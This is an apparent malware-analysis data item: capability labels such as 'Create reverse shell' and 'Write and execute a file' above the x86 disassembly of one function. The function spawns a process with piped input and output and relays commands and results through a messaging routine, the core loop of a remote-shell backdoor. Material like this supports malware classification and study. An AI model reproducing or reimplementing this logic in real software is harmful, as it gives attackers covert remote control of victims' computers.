Function at 0x40567a
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov eax, dword fs:[0x2c]
sub esp, 0x44
push ebx
push ebp
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov eax, dword [0x473bb8]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x4056cc
mov ebp, 0x473bb8
push ebp
call fcn.00432325
pop ecx
cmp dword [0x473bb8], esi
jne 0x4056cc
push ebx
mov ecx, 0x473b18
call fcn.004046d7
push 0x455307
call fcn.004326af
pop ecx
push ebp
call fcn.004322e6
pop ecx
mov eax, dword [0x473b98]
cmp eax, dword [edi + 4]
jle 0x405709
mov edi, 0x473b98
push edi
call fcn.00432325
pop ecx
cmp dword [0x473b98], esi
jne 0x405709
mov ecx, 0x473bc0
call fcn.004020bf
push 0x4552fd
call fcn.004326af
pop ecx
push edi
call fcn.004322e6
pop ecx
lea ecx, [esp + 0x20]
call fcn.004020bf
mov ebp, 0x471f28
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x14], ebx
cmp byte [0x46fad6], bl
jne 0x405889
mov edx, 0x463068
mov ecx, ebp
call fcn.00405ae5
test al, al
je 0x40587d
push 0x463070
call fcn.00439ffa
pop ecx
mov ebp, 0x473bc0
push eax
mov ecx, ebp
call fcn.00405a86
push 0x46307c
mov ecx, ebp
call fcn.0040535d
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ebp, 0x473ac0
push ebx
push ebp
push 0x473b9c
push 0x473bb4
mov dword [0x473ac0], 0xc
mov dword [0x473ac8], 1
mov dword [0x473ac4], ebx
call esi
test eax, eax
je 0x405a2f
push ebx
push ebp
push 0x473bbc
push 0x473ba0
call esi
test eax, eax
je 0x405a2f
push 0x44
pop esi
push esi
push ebx
mov ebp, 0x473ad0
push ebp
call fcn.00434dc0
add esp, 0xc
mov dword [0x473ad0], esi
xor eax, eax
mov dword [0x473afc], 0x101
mov word [0x473b00], ax
mov ecx, 0x473bc0
mov eax, dword [0x473bb4]
push 0x473ba4
mov dword [0x473b08], eax
mov eax, dword [0x473bbc]
push ebp
mov dword [0x473b0c], eax
mov dword [0x473b10], eax
call fcn.00401f8b
push eax
push ebx
push ebx
push 1
push ebx
mov ebp, 0x471f28
push ebx
mov ecx, ebp
call fcn.00401f8b
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, ebp
push 0x463064
setne byte [0x46fad6]
call fcn.00405a86
mov esi, 0x473b18
mov byte [0x46fad7], 1
mov ecx, esi
call fcn.0040480d
push ecx
mov ecx, esi
call fcn.004048a8
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.004020d6
push 0x93
mov ecx, esi
call fcn.00404a81
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46fad6], bl
je 0x405a0d
push ebx
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x473ba0]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [esp + 0x18], ebx
jbe 0x405957
push dword [esp + 0x18]
call fcn.00439c66
pop ecx
push ebx
mov ebp, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
push ebp
push dword [0x473ba0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0x1c], ebx
jbe 0x405949
cmp dword [esp + 0x14], ebx
jbe 0x405914
push dword [esp + 0x14]
lea ecx, [esp + 0x24]
call fcn.00401f8b
push eax
push ebp
call fcn.00439c80
add esp, 0xc
test eax, eax
jne 0x405914
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402073
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
sub esp, 0x18
mov ecx, esp
push eax
push dword [esp + 0x30]
jmp 0x405928
push ebp
lea ecx, [esp + 0x3c]
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push dword [esp + 0x34]
push ebx
lea eax, [esp + 0x58]
push eax
call fcn.00405a8b
push 0x62
mov ecx, 0x473b18
call fcn.00404a81
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fb8
push ebp
call fcn.00439c61
pop ecx
mov ebp, 0x471f28
jmp 0x405974
sub esp, 0x18
mov ecx, esp
push 0x463064
call fcn.00402073
push 0x62
mov ecx, 0x473b18
call fcn.00404a81
mov esi, eax
movzx eax, byte [0x46fad7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, ebp
mov byte [0x46fad7], al
call fcn.0040245c
test eax, eax
je 0x4059d8
push 0x463080
mov ecx, ebp
call fcn.0040535d
push ebp
lea ecx, [esp + 0x24]
call fcn.00401fa0
push ebx
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
call fcn.0040245c
push eax
mov ecx, ebp
call fcn.00401f8b
push eax
push dword [0x473b9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x463064
mov ecx, ebp
call fcn.00405a86
jmp 0x4059dc
mov dword [esp + 0x14], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x46fad7], bl
jne 0x405889
push ebx
push dword [0x473ba4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x473ba8]
call edi
push dword [0x473ba4]
call edi
mov ecx, 0x473b18
call fcn.00404e06
push dword [0x473ba0]
call edi
push dword [0x473bbc]
call edi
mov byte [0x46fad6], bl
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401fb8
lea ecx, [esp + 0x58]
call fcn.00401fb8
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x44
ret